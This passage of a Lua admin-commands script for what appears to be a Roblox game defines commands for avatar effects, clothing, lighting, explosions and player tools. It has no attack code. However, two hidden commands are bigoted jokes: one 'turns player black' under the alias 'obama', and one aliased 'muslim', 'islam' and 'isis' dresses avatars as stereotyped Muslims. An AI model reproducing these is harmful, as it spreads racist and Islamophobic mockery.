6975 end
6976 end
6977 end};
6978
6979 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
6980 local Players = STRING:Scan(Arguments[1], Speaker)
6981 for _,Player in pairs(Players) do
6982 if Player:FindFirstChild("Backpack") then
6983 Player.Backpack:ClearAllChildren()
6984 end
6985 if Player.Character ~= nil then
6986 for _,Obj in pairs(Player.Character:GetChildren()) do
6987 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
6988 Obj:Destroy()
6989 end
6990 end
6991 end
6992 end
6993 end};
6994
6995 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
6996 local Players = STRING:Scan(Arguments[1], Speaker)
6997 for _,Player in pairs(Players) do
6998 if Player.Character then
6999 if Player.Character:FindFirstChild("Head") then
7000 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7001 coroutine.wrap(function()
7002 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7003 local OldFace = Player.Character.Head.face.Texture
7004 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7005 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7006 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7007 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7008 Sound:Play()
7009 coroutine.wrap(function() for i = 1,100 do wait()
7010 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7011 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7012 end
7013 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7014 end end
7015 end)()
7016 end
7017 end
7018 end
7019 end
7020 end};
7021
7022 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7023 local Players = STRING:Scan(Arguments[1], Speaker)
7024 for _,Player in pairs(Players) do
7025 if Player.Character then
7026 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7027 coroutine.wrap(function()
7028 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7029 local OldFace = Player.Character.Head.face.Texture
7030 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7031 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7032 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7033 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7034 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7035 Sound:Play()
7036 wait(1)
7037 Smoke.Enabled = false
7038 wait(1)
7039 Fart:Destroy()
7040 Fart:Destroy()
7041 Player.Character.Head.face.Texture = OldFace
7042 end end
7043 end)()
7044 end
7045 end
7046 end
7047 end};
7048
7049 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7050 local Players = STRING:Scan(Arguments[1], Speaker)
7051 for _,Player in pairs(Players) do
7052 if Player:FindFirstChild("Backpack") then
7053 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7054 end
7055 end
7056 end};
7057
7058 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7059 local Players = STRING:Scan(Arguments[1], Speaker)
7060 for _,Player in pairs(Players) do
7061 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7062 Player.Character.MMLGraffiti:ClearAllChildren()
7063 end
7064 end
7065 end};
7066
7067 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7068 local Players = STRING:Scan(Arguments[1], Speaker)
7069 for _,Player in pairs(Players) do
7070 if Player.Character and Player.Character:FindFirstChild("Torso") then
7071 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7072 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7073 end
7074 end
7075 end};
7076
7077 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7078 local Players = STRING:Scan(Arguments[1], Speaker)
7079 for _,Player in pairs(Players) do
7080 if Player.Character and Player.Character:FindFirstChild("Torso") then
7081 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7082 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7083 end
7084 end
7085 end};
7086
7087 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7088 local Players = STRING:Scan(Arguments[1], Speaker)
7089 for _,Player in pairs(Players) do
7090 if Player.Character and Player.Character:FindFirstChild("Torso") then
7091 local Lights = {}
7092 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7093 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7094 table.insert(Lights, Obj)
7095 end
7096 end
7097 for _,Light in pairs(Lights) do
7098 coroutine.wrap(function()
7099 for i = 1,20 do
7100 Light.Brightness = Light.Brightness/5
7101 wait()
7102 end
7103 Light:Destroy()
7104 end)()
7105 end
7106 end
7107 end
7108 end};
7109
7110 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7111 local Players = STRING:Scan(Arguments[1], Speaker)
7112 for _,Player in pairs(Players) do
7113 if Player.Character and Player:FindFirstChild("PlayerGui") then
7114 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7115 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7116 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7117 local Stop = false
7118 coroutine.wrap(function()
7119 repeat
7120 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7121 wait(0.1)
7122 until not SG or not SG.Parent
7123 end)()
7124 CORE:ExecuteResource("Drug", Player.Character)
7125 end
7126 end
7127 end};
7128
7129 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7130 local Players = STRING:Scan(Arguments[1], Speaker)
7131 for _,Player in pairs(Players) do
7132 if Player:FindFirstChild("PlayerGui") then
7133 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7134 wait() CORE:RestoreCamera(Player)
7135 end
7136 end
7137 end};
7138
7139 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7140 local AbuseMode = false
7141 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7142 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7143 if Speaker:FindFirstChild("Backpack") then
7144 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7145 end
7146 end)
7147 end, Http = true};
7148
7149 [{"searchh", "searchhat"}] = {"string", "Searches the catalog for the hat string)", 1, "Member", false, function(Speaker, Rank, Arguments)
7150 MARKET:ShowSearch(Speaker, 3, Arguments[1], function(ID)
7151 if Speaker.Character then
7152 CORE:Insert(ID, Speaker.Character, true, {"Hat"})
7153 end
7154 end, 9)
7155 end, Http = true};
7156
7157 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7158 MARKET:ShowSearch(Speaker, 4, Arguments[1], function(ID)
7159 if Speaker.Character then
7160 CORE:GivePackage(Speaker, ID)
7161 end
7162 end, 11)
7163 end, Http = true};
7164
7165 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7166 local Players = STRING:Scan(Arguments[1], Speaker)
7167 for _,Player in pairs(Players) do
7168 CORE:GivePackage(Player)
7169 end
7170 end};
7171
7172 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID), a few packages don't need http service because they're in the cache, but most do", 2, "Member", false, function(Speaker, Rank, Arguments)
7173 local Players = STRING:Scan(Arguments[1], Speaker)
7174 for _,Player in pairs(Players) do
7175 CORE:GivePackage(Player, Arguments[2])
7176 end
7177 end, Http = true};
7178
7179 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7180 local Players = STRING:Scan(Arguments[1], Speaker)
7181 for _,Player in pairs(Players) do
7182 local Stats = Player:FindFirstChild("leaderstats")
7183 if Stats ~= nil then
7184 for _,Stat in pairs(Stats:GetChildren()) do
7185 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7186 ypcall(function() Stat.Value = Arguments[3] end)
7187 end
7188 end
7189 end
7190 end
7191 end};
7192
7193 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7194 local ID = tonumber(Arguments[2])
7195 local Players = STRING:Scan(Arguments[1], Speaker)
7196 for _,Player in pairs(Players) do
7197 for _,Player in pairs(Players) do
7198 if Player.Character ~= nil then
7199 local Obj = Player.Character:FindFirstChild("Shirt")
7200 if Obj then
7201 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7202 else
7203 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7204 end
7205 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7206 end
7207 end
7208 end
7209 end};
7210
7211 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7212 local ID = tonumber(Arguments[2])
7213 local Players = STRING:Scan(Arguments[1], Speaker)
7214 for _,Player in pairs(Players) do
7215 for _,Player in pairs(Players) do
7216 if Player.Character ~= nil then
7217 local Obj = Player.Character:FindFirstChild("Pants")
7218 if Obj then
7219 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7220 else
7221 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7222 end
7223 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7224 end
7225 end
7226 end
7227 end};
7228
7229 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7230 local ID = tonumber(Arguments[2])
7231 local Players = STRING:Scan(Arguments[1], Speaker)
7232 for _,Player in pairs(Players) do
7233 for _,Player in pairs(Players) do
7234 if Player.Character ~= nil then
7235 if Player.Character:FindFirstChild("Torso") then
7236 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7237 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7238 if Obj1 then
7239 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7240 else
7241 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7242 end
7243 if Obj2 then
7244 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7245 else
7246 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7247 end
7248 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7249 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7250 end
7251 end
7252 end
7253 end
7254 end};
7255
7256 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7257 local Players = STRING:Scan(Arguments[1], Speaker)
7258 for _,Player in pairs(Players) do
7259 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7260 end
7261 end};
7262
7263 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7264 if CORE:InAdminGroup(Speaker) then
7265 local Players = STRING:Scan(Arguments[1], Speaker)
7266 for _,Player in pairs(Players) do
7267 if Player:FindFirstChild("Backpack") then
7268 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7269 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7270 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7271 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7272 CORE:ExecuteResource("CookieTool", Tool)
7273 end
7274 end
7275 end
7276 end};
7277
7278 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7279 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7280 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7281 end
7282 end};
7283
7284 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7285 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7286 local Model = CORE:Insert(tonumber(Arguments[1]), game:GetService("ReplicatedStorage"))
7287 Model:MakeJoints()
7288 for i = 1,math.random(10,20) do
7289 Model.Name = Model.Name..string.char(math.random(97,122))
7290 end
7291 if Model:GetChildren()[1] then
7292 table.insert(Objects, Model)
7293 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7294 end
7295 end
7296 end};
7297
7298 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7299 local ID = tonumber(Arguments[2])
7300 local Players = STRING:Scan(Arguments[1], Speaker)
7301 for _,Player in pairs(Players) do
7302 if Player.Character then
7303 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7304 end
7305 end
7306 end};
7307
7308 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7309 local Players = STRING:Scan(Arguments[1], Speaker)
7310 for _,Player in pairs(Players) do
7311 if Player.Character then
7312 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7313 if StopAnim then StopAnim:Destroy() end
7314 end
7315 end
7316 end};
7317
7318 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7319 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7320 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7321 end
7322 end};
7323
7324 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7325 if tonumber(Arguments[1]) then
7326 Server.Lighting.Brightness = tonumber(Arguments[1])
7327 end
7328 end};
7329
7330 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7331 local Players = STRING:Scan(Arguments[1], Speaker)
7332 for _,Player in pairs(Players) do
7333 GUI:CoreGui(Player, "PlayerList", true)
7334 end
7335 end};
7336
7337 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7338 local Players = STRING:Scan(Arguments[1], Speaker)
7339 for _,Player in pairs(Players) do
7340 local Players = STRING:Scan(Arguments[1], Speaker)
7341 GUI:CoreGui(Player, "PlayerList", false)
7342 end
7343 end};
7344
7345 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7346 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7347 end, Hidden = true};
7348
7349 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7350 local Players = STRING:Scan(Arguments[1], Speaker)
7351 for _,Player in pairs(Players) do
7352 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7353 end
7354 end, Hidden = true};
7355
7356 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7357 local Players = STRING:Scan(Arguments[1], Speaker)
7358 for _,Player in pairs(Players) do
7359 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7360 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7361 Player:ClearCharacterAppearance()
7362 CORE:Insert(12436480, Player.Character, true)
7363 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7364 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7365 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7366 end
7367 end
7368 end, Hidden = true};
7369
7370 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7371 local Players = STRING:Scan(Arguments[1], Speaker)
7372 for _,Player in pairs(Players) do
7373 CORE:ChangeCharacter(Player, 0, false, Speaker)
7374 end
7375 end};
7376
7377 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7378 local Bet = Arguments[1]
7379 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7380 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7381 elseif #Bet > 5 then
7382 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7383 else
7384 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7385 if Answer == "Yes" then
7386 local OldBet = Settings.Bet
7387 CORE:ChangeBet(Bet)
7388 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7389 end
7390 end
7391 end};
7392
7393 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7394 local Prefix = Arguments[1]
7395 if #Prefix > 5 then
7396 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7397 else
7398 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7399 if Answer == "Yes" then
7400 local OldPrefix = Settings.Prefix
7401 Settings.Prefix = Prefix
7402 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7403 end
7404 end
7405 end};
7406
7407 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7408 GUI:CommandBar(Speaker)
7409 end};
7410
7411 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7412 GUI:CommandBar(Speaker)
7413 PermCommandBars[Speaker.Name] = true
7414 end};
7415
7416 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7417 PermCommandBars[Speaker.Name] = nil
7418 end};
7419
7420 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7421 local Players = STRING:Scan(Arguments[1], Speaker)
7422 for _,Player in pairs(Players) do
7423 PermCommandBars[Player.Name] = nil
7424 end
7425 end};
7426
7427 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7428 CORE:CreateFigure("Dummy", nil, true, Speaker)
7429 end};
7430
7431 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7432 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7433 end};
7434
7435 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7436 local Players = STRING:Scan(Arguments[1], Speaker)
7437 for _,Player in pairs(Players) do
7438 CORE:ClonePlayer(Player)
7439 end
7440 end};
7441
7442 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7443 local Players = STRING:Scan(Arguments[1], Speaker)
7444 for _,Player in pairs(Players) do
7445 CORE:ClonePlayer(Player, Arguments[2])
7446 end
7447 end};
7448
7449 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7450 for _,Obj in pairs(Objects) do
7451 if Obj then Obj:Destroy() end
7452 end
7453 for Name,Jail in pairs(Jails) do
7454 if not game.Players:FindFirstChild(Name) then
7455 Jail:Destroy()
7456 Jails[Name] = nil
7457 end
7458 end
7459 Objects = {}
7460 end};
7461
7462 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7463 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7464 if Obj:IsA("Hat") or Obj:IsA("Tool") then
7465 Obj:Destroy()
7466 end
7467 end
7468 end};
7469
7470 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7471 local Players = STRING:Scan(Arguments[1], Speaker)
7472 for _,Player in pairs(Players) do
7473 if Player.Character and Player.Character:FindFirstChild("Torso") then
7474 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7475 end
7476 end
7477 end};
7478
7479 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7480 local Players = STRING:Scan(Arguments[1], Speaker)
7481 for _,Player in pairs(Players) do
7482 if Player.Character and Player.Character:FindFirstChild("Torso") then
7483 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7484 end
7485 end
7486 end};
7487
7488 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7489 local Players = STRING:Scan(Arguments[1], Speaker)
7490 for _,Player in pairs(Players) do
7491 if Player.Character and Player.Character:FindFirstChild("Torso") then
7492 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7493 end
7494 end
7495 end};
7496
7497 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7498 local Players = STRING:Scan(Arguments[1], Speaker)
7499 for _,Player in pairs(Players) do
7500 if Player.Character and Player.Character:FindFirstChild("Torso") then
7501 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7502 if Get:IsA("Sparkles") then
7503 Get:Destroy()
7504 end
7505 end
7506 end
7507 end
7508 end};
7509
7510 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7511 local Players = STRING:Scan(Arguments[1], Speaker)
7512 for _,Player in pairs(Players) do
7513 if Player.Character and Player.Character:FindFirstChild("Torso") then
7514 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7515 if Get:IsA("Fire") then
7516 Get:Destroy()
7517 end
7518 end
7519 end
7520 end
7521 end};
7522
7523 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7524 local Players = STRING:Scan(Arguments[1], Speaker)
7525 for _,Player in pairs(Players) do
7526 if Player.Character and Player.Character:FindFirstChild("Torso") then
7527 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7528 if Get:IsA("Smoke") then
7529 Get:Destroy()
7530 end
7531 end
7532 end
7533 end
7534 end};
7535
7536 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7537 local Players = STRING:Scan(Arguments[1], Speaker)
7538 for _,Player in pairs(Players) do
7539 if Player.Character and Player.Character:FindFirstChild("Torso") then
7540 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7541 local Boom = Instance.new("Explosion", Workspace)
7542 Boom.Position = Player.Character.Torso.Position
7543 end
7544 end
7545 end};
7546
7547 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7548 local Players = STRING:Scan(Arguments[1], Speaker)
7549 for _,Player in pairs(Players) do
7550 if Player.Character and Player.Character:FindFirstChild("Torso") then
7551 coroutine.wrap(function() for i = 1,50 do
7552 local Boom = Instance.new("Explosion", Workspace)
7553 Boom.Position = Player.Character.Torso.Position
7554 wait()
7555 end end)()
7556 coroutine.wrap(function() for i = 1,5 do
7557 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7558 end end)()
7559 end
7560 end
7561 end};
7562
7563 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7564 local Players = STRING:Scan(Arguments[1], Speaker)
7565 for _,Player in pairs(Players) do
7566 if Player.Character and Player.Character:FindFirstChild("Torso") then
7567 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7568 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7569 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7570 end
7571 end
7572 end};
7573
7574 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7575 local Players = STRING:Scan(Arguments[1], Speaker)
7576 for _,Player in pairs(Players) do
7577 if Player.Character and Player.Character:FindFirstChild("Torso") then
